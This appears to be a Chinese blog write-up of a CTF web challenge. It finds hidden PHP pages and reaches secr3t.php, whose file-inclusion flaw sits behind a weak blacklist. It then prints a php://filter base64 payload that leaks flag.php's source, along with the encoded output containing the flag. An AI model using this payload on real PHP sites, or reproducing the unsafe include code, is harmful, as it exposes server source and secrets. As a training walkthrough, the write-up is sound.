• [极客大挑战 2019]Secret File


    0x00

    打开网页如下

    打开网站源码,查找信息。

    我看到还存在Archive_room.php文件,打开

    打开网页源码,查看信息

    可以看出点击SECRET按钮就是请求action.php文件,点击SECRET按钮

    发现请求的是end.php,页面进行了重定向,而且根据上面的提示说明action.php文件里面有重要信息
    我们可以通过抓包,获得被重定向的网页

    我们可以知道还存在secr3t.php文件,打开改文件

    可以知道flag就在flag.php中,打开如下

    看来flag是隐藏在代码里面,那我们分析一下secr3t.php中的代码

    <html>
        <title>secret</title>
        <meta charset="UTF-8">
    <?php
        highlight_file(__FILE__);
        error_reporting(0);
        $file=$_GET['file'];
        if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
            echo "Oh no!";
            exit();
        }
        include($file);       ##文件包含
    //flag放在了flag.php里
    ?>
    </html>
    

    由该代码我们可以知道存在文件包含,但是flag隐藏在代码中,直接将flag.php包含进去也不能得到
    要想办法得到flag.php的源码最好了,那样就可以直接获得flag
    想到这里也许可以试一下php的伪协议php://filter,
    php有那么多伪协议为什么使用这个?
    因为这个伪协议有过滤器,我们可以使用它对包含的文件进行编码
    这样flag.php里面的代码就不会执行
    我们可以构造如下payload:

    /secr3t.php?file=php://filter/read=convert.base64-encode/resource=./flag.php
    

    我们得到了base64加密的flag.php文件里面的内容如下:

    PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NTgzNjc4NDUtOTg1ZS00NDY4LTk1MGUtYzE5ZGNmYmIwNzQ0fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
    

    然后我们可以找一个网站进行解密,
    这里我们访问:http://tool.chinaz.com/Tools/Base64.aspx
    得到了如下结果

    0x01

    伪协议参考:https://www.freebuf.com/column/148886.html

  • 相关阅读:
    一位资深程序员大牛给予Java初学者的学习路线建议
    Java基础部分全套教程.
    Java进阶面试问题列表
    成为伟大程序员的 10 个要点
    一位资深程序员大牛给予Java初学者的学习路线建议
    2年Java开发工作经验面试总结
    有效处理Java异常三原则
    Java打飞机小游戏(附完整源码)
    原生ajax封装,包含post、method方式
    手机端布局,rem布局动态获取根字体大小
  • 原文地址:https://www.cnblogs.com/Wuser/p/13509050.html
Copyright © 2020-2023  润新知